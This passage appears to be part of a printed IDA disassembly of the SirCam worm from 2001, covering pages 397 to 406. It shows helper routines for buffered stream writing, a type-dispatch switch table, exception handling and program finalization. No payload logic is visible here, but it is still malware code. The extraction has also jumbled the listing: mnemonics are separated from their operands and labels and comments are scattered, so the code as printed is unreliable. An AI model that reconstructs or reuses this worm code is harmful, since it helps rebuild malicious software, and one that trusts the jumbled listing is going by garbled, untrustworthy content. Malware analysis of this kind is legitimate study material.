ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E006: ; CODE XREF: sub_40DFD0+16\030j sircam.asm Fri Aug 10 12:42:44 2001 lea mov mov mov call xor edx, [ebp+var_100] eax, [ebp+arg_0] eax, [eax-4] ecx, ebx sub_40DE18 ebx, ebx test jg ebx, ebx short loc_40DFE0 pop mov pop retn endp ebx esp, ebp ebp loc_40E01B: ; CODE XREF: sub_40DFD0+34\030j loc_40E01F: sub_40DFD0 397 ; CODE XREF: sub_40DFD0+E\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40E024 proc near ; CODE XREF: sub_40E0AC+E4\031p ; sub_40E0AC+F7\031p ... var_4 arg_0 = dword ptr -4 = dword ptr 8 sub_40E024 push mov push lea mov mov mov call mov push mov call pop pop pop retn endp ebp ebp, esp ecx edx, [ebp+var_4] eax, [ebp+arg_0] eax, [eax-4] ecx, 4 sub_40DE18 eax, [ebp+arg_0] eax eax, [ebp+var_4] sub_40DFD0 ecx ecx ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40E04C proc near arg_0 = dword ptr ; CODE XREF: sub_40E0AC+100\031p 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] add ebx, 0FFFFFFFCh jmp short loc_40E096 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E058: ; CODE XREF: sub_40E04C+53\031j mov call add eax, [ebx] sub_40DE08 al, 0FEh sircam.asm Fri Aug 10 12:42:44 2001 sub jnb mov call 398 al, 3 short loc_40E06C eax, [ebx] sub_40E0AC loc_40E06C: ; CODE XREF: sub_40E04C+17\030j mov eax, [ebp+arg_0] push eax mov eax, 1 call sub_40DFD0 pop ecx jmp short loc_40E084 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E07D: ; CODE XREF: sub_40E04C+41\031j mov call eax, [ebx] sub_40E214 mov call test jz mov call eax, [ebx] sub_40DDF4 al, al short loc_40E07D eax, [ebx] sub_40DEA8 mov call test jz mov call pop pop retn endp eax, [ebx] sub_40DDF4 al, al short loc_40E058 eax, [ebx] sub_40DEA8 ebx ebp loc_40E084: ; CODE XREF: sub_40E04C+2F\030j loc_40E096: sub_40E04C ; CODE XREF: sub_40E04C+A\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40E0AC proc near var_8 var_4 = dword ptr -8 = dword ptr -4 ; CODE XREF: sub_40DDD0+16\030p ; sub_40DFA8+E\030p ... push ebp mov ebp, esp add esp, 0FFFFFFF8h xor edx, edx mov [ebp+var_8], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_40E209 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_40DF4C and eax, 7Fh cmp eax, 13h ; switch 20 cases ja loc_40E1F3 ; default jmp ds:off_40E0E3[eax*4] ; switch jump ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_40E0E3 dd offset loc_40E1F3 ; DATA XREF: sub_40E0AC+30\030r sircam.asm Fri Aug 10 12:42:44 2001 399 dd offset loc_40E138 ; jump table for switch statement dd offset loc_40E144 dd offset loc_40E155 dd offset loc_40E166 dd offset loc_40E174 dd offset loc_40E182 dd offset loc_40E182 dd offset loc_40E1F3 dd offset loc_40E1F3 dd offset loc_40E18F dd offset loc_40E198 dd offset loc_40E1A2 dd offset loc_40E1F3 dd offset loc_40E1AB dd offset loc_40E1B4 dd offset loc_40E1C2 dd offset loc_40E1D0 dd offset loc_40E1DE dd offset loc_40E1E7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp loc_40E1F3 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E138: ; CODE XREF: sub_40E0AC+30\030j ; DATA XREF: sub_40E0AC+37\030o ; case 0x1 push ebp call sub_40DFA8 pop ecx jmp loc_40E1F3 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E144: ; CODE XREF: sub_40E0AC+30\030j ; DATA XREF: sub_40E0AC+37\030o ; case 0x2 push ebp mov eax, 1 call sub_40DFD0 pop ecx jmp loc_40E1F3 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E155: ; CODE XREF: sub_40E0AC+30\030j ; DATA XREF: sub_40E0AC+37\030o ; case 0x3 push ebp mov eax, 2 call sub_40DFD0 pop ecx jmp loc_40E1F3 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E166: ; CODE XREF: sub_40E0AC+30\030j ; DATA XREF: sub_40E0AC+37\030o ; case 0x4 push ebp mov eax, 4 call sub_40DFD0 pop ecx jmp short loc_40E1F3 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E174: ; CODE XREF: sub_40E0AC+30\030j ; DATA XREF: sub_40E0AC+37\030o ; case 0x5 push ebp mov eax, 0Ah call sub_40DFD0 pop ecx jmp short loc_40E1F3 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E182: lea ; CODE XREF: sub_40E0AC+30\030j ; DATA XREF: sub_40E0AC+37\030o edx, [ebp+var_8] ; case 0x6 sircam.asm Fri Aug 10 12:42:44 2001 400 mov eax, [ebp+var_4] call sub_40DEB0 jmp short loc_40E1F3 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E18F: ; CODE XREF: sub_40E0AC+30\030j ; DATA XREF: sub_40E0AC+37\030o ; case 0xa push ebp call sub_40E024 pop ecx jmp short loc_40E1F3 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E198: ; CODE XREF: sub_40E0AC+30\030j ; DATA XREF: sub_40E0AC+37\030o mov eax, [ebp+var_4] ; case 0xb call sub_40DF60 jmp short loc_40E1F3 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E1A2: ; CODE XREF: sub_40E0AC+30\030j ; DATA XREF: sub_40E0AC+37\030o ; case 0xc push ebp call sub_40E024 pop ecx jmp short loc_40E1F3 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E1AB: ; CODE XREF: sub_40E0AC+30\030j ; DATA XREF: sub_40E0AC+37\030o ; case 0xe push ebp call sub_40E04C pop ecx jmp short loc_40E1F3 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E1B4: ; CODE XREF: sub_40E0AC+30\030j ; DATA XREF: sub_40E0AC+37\030o ; case 0xf push ebp mov eax, 4 call sub_40DFD0 pop ecx jmp short loc_40E1F3 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E1C2: ; CODE XREF: sub_40E0AC+30\030j ; DATA XREF: sub_40E0AC+37\030o ; case 0x10 push ebp mov eax, 8 call sub_40DFD0 pop ecx jmp short loc_40E1F3 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E1D0: ; CODE XREF: sub_40E0AC+30\030j ; DATA XREF: sub_40E0AC+37\030o ; case 0x11 push ebp mov eax, 8 call sub_40DFD0 pop ecx jmp short loc_40E1F3 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E1DE: ; CODE XREF: sub_40E0AC+30\030j ; DATA XREF: sub_40E0AC+37\030o ; case 0x12 push ebp call sub_40E024 pop ecx jmp short loc_40E1F3 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 loc_40E1E7: push mov call pop ebp eax, 8 sub_40DFD0 ecx ; CODE XREF: sub_40E0AC+30\030j ; DATA XREF: sub_40E0AC+37\030o ; case 0x13 loc_40E1F3: xor pop pop pop mov push ; CODE XREF: sub_40E0AC+2A\030j ; sub_40E0AC+30\030j ... ; default eax, eax edx ecx ecx fs:[eax], edx offset loc_40E210 loc_40E200: sub_40E0AC 401 ; CODE XREF: CODE:0040E20E\031j lea eax, [ebp+var_8] call sub_4034C8 retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E209: ; DATA XREF: sub_40E0AC+11\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40E200 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E210: ; DATA XREF: sub_40E0AC+14F\030o pop pop pop retn ecx ecx ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40E214 proc near var_4 = byte ptr -4 ; CODE XREF: sub_40E04C+33\030p push mov push push mov xor push push push mov lea mov call mov call xor pop pop pop mov push ebp ebp, esp 0 ebx ebx, eax eax, eax ebp offset loc_40E251 dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] eax, ebx sub_40DEB0 eax, ebx sub_40E0AC eax, eax edx ecx ecx fs:[eax], edx offset loc_40E258 lea call eax, [ebp+var_4] sub_4034C8 loc_40E248: ; CODE XREF: CODE:0040E256\031j sircam.asm sub_40E214 Fri Aug 10 12:42:44 2001 402 retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E251: ; DATA XREF: sub_40E214+B\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40E248 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E258: ; DATA XREF: sub_40E214+2F\030o pop pop pop retn ebx ecx ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E25C proc near ; CODE XREF: sub_40E2D0+2C\031p ; sub_40E2D0+45\031p ... push esi push edi push ebx mov esi, edx mov ebx, ecx mov edi, eax jmp short loc_40E29D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E267: ; CODE XREF: sub_40E25C+43\031j mov sub ja mov call mov ecx, [edi+0Ch] ecx, [edi+10h] short loc_40E279 eax, edi sub_40E2A8 ecx, [edi+0Ch] cmp jb mov ecx, ebx short loc_40E27F ecx, ebx loc_40E279: ; CODE XREF: sub_40E25C+11\030j loc_40E27F: ; CODE XREF: sub_40E25C+1F\030j sub ebx, ecx push edi mov eax, [edi+8] add eax, [edi+10h] add [edi+10h], ecx mov edi, eax mov edx, ecx shr ecx, 2 cld repe movsd mov ecx, edx and ecx, 3 repe movsb pop edi loc_40E29D: sub_40E25C ; CODE XREF: sub_40E25C+9\030j or jnz pop pop pop retn endp ebx, ebx short loc_40E267 ebx edi esi ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 403 align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E2A8 sub_40E2A8 proc near push ebx mov ebx, eax mov edx, [ebx+8] mov ecx, [ebx+10h] mov eax, [ebx+4] call sub_40D8BC xor eax, eax mov [ebx+10h], eax pop ebx retn endp ; CODE XREF: sub_40E25C+15\030p ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E2C0 sub_40E2C0 proc near mov dl, 1 call sub_40E32C retn endp ; CODE XREF: sub_40D210+25\030p ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E2C8 sub_40E2C8 proc near xor edx, edx call sub_40E32C retn endp ; CODE XREF: sub_40D210+5B\030p ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E2D0 proc near ; CODE XREF: sub_40D210+4F\030p push ebx push esi push ecx mov esi, edx mov ebx, eax mov eax, esi call sub_403724 mov [esp+0], eax cmp dword ptr [esp+0], 0FFh jg short loc_40E303 mov dl, 6 mov eax, ebx call sub_40E32C mov edx, esp mov ecx, 1 mov eax, ebx call sub_40E25C jmp short loc_40E31A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E303: ; CODE XREF: sub_40E2D0+18\030j mov mov call mov mov mov dl, 0Ch eax, ebx sub_40E32C edx, esp ecx, 4 eax, ebx sircam.asm Fri Aug 10 12:42:44 2001 call sub_40E25C mov mov mov call pop pop pop retn endp edx, esi ecx, [esp+0] eax, ebx sub_40E25C edx esi ebx loc_40E31A: sub_40E2D0 404 ; CODE XREF: sub_40E2D0+31\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E32C proc near sub_40E32C push mov mov mov call pop retn endp ; CODE XREF: sub_40E2C0+2\030p ; sub_40E2C8+2\030p ... ecx [esp+0], dl edx, esp ecx, 1 sub_40E25C edx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40E340 proc near ; CODE XREF: sub_40E3D0+74\031p cmp ds:dword_41E640, 0 jz short locret_40E35B mov eax, ds:dword_41E640 push eax call j_DestroyWindow xor eax, eax mov ds:dword_41E640, eax locret_40E35B: sub_40E340 ; CODE XREF: sub_40E340+7\030j retn endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40E35C proc near ; CODE XREF: sub_40E3D0+31\031p push ebp mov ebp, esp push ebx push esi push edi mov eax, ds:dword_41E620 call sub_40C4B0 mov edi, eax xor eax, eax push ebp push offset loc_40E3B1 push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, [edi+8] dec ebx sircam.asm Fri Aug 10 12:42:44 2001 test jl inc xor ebx, ebx short loc_40E399 ebx esi, esi mov mov call call inc dec jnz edx, esi eax, edi sub_40C20C sub_402BDC esi ebx short loc_40E387 xor pop pop pop mov push ; CODE XREF: sub_40E35C+26\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40E3B8 loc_40E387: ; CODE XREF: sub_40E35C+3B\031j loc_40E399: loc_40E3A6: sub_40E35C 405 ; CODE XREF: CODE:0040E3B6\031j mov eax, ds:dword_41E620 call sub_40C514 retn endp ; sp = -14h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E3B1: ; DATA XREF: sub_40E35C+15\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40E3A6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E3B8: ; DATA XREF: sub_40E35C+45\030o mov eax, ds:dword_41E620 call sub_402BDC pop edi pop esi pop ebx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40E3C8: ; DATA XREF: sub_40E3D0+8A\031o ; CODE:0040E49C\031o call sub_40BEA8 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40E3D0 proc near ; DATA XREF: CODE:0041A928\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40E47C push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E614 jnz loc_40E46E mov eax, ds:dword_41E4D4 call sub_40BEA8 sircam.asm Fri Aug 10 12:42:44 2001 406 mov call call mov call mov call xor xor call mov call xor mov call mov call call mov call xor mov mov call push call eax, ds:dword_41E610 sub_40A5A0 sub_40E35C eax, ds:dword_41E618 sub_402BDC eax, ds:dword_41E61C sub_402BDC edx, edx eax, eax sub_40DC7C eax, ds:dword_41E624 sub_402BDC eax, eax ds:dword_41E624, eax sub_4059F0 eax, [eax+8] sub_402BDC sub_40E340 eax, ds:dword_41E610 sub_402BDC eax, eax ds:dword_41E610, eax eax, offset loc_40E3C8 sub_404A1C offset unk_41E628 j_DeleteCriticalSection_0 xor pop pop pop mov push ; CODE XREF: sub_40E3D0+17\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40E483 loc_40E46E: locret_40E47B: ; CODE XREF: sub_40E3D0+B1\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E47C: ; DATA XREF: sub_40E3D0+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_40E47B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40E483: sub_40E3D0 ; CODE XREF: sub_40E3D0+AB\030j ; DATA XREF: sub_40E3D0+A6\030o pop ebp retn endp ; sp = -8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 byte_40E488 db 83h, 2Dh ; DATA XREF: CODE:0041A924\031o dd offset dword_41E614 dd 68697301h dd offset unk_41E628 dd 0FF7809E8h db 0FFh, 0B8h dd offset loc_40E3C8 dd 0FF656FE8h, 0A101B2FFh dd offset off_406C1C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call sub_40A4BC mov ds:dword_41E610, eax mov dl, 1 mov eax, ds:off_40B920 call sub_40C358 mov ds:dword_41E618, eax mov dl, 1 sircam.asm Fri Aug 10 12:42:44 2001 